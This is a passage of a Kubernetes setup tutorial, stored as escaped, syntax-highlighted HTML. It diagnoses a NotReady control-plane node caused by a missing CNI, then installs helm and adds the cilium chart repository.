#ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e7\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecc6922c82015\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3767741\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee7fba7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee64ddf3679d98\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10432\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eb81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few ways to figure out why the node isn’t ready yet.  Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejournalctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-flu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebegin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-04-17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:22:19\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAST.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15.951350\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20.952148\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI.  The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful.  In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eFalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:37\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:43:07\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKubeletNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eruntime\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetwork\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eready:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworkReady=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emessage:Network\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereturns\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecni\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einitialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets get our CNI installed, we’ll be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I’ll walk you through it anyways.  I do recommend checking out their documentation so you\nare familiar with it.   We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-transport-https\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can install cilium!  It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are intstalling. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esearch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-l\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCHART\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAPP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan 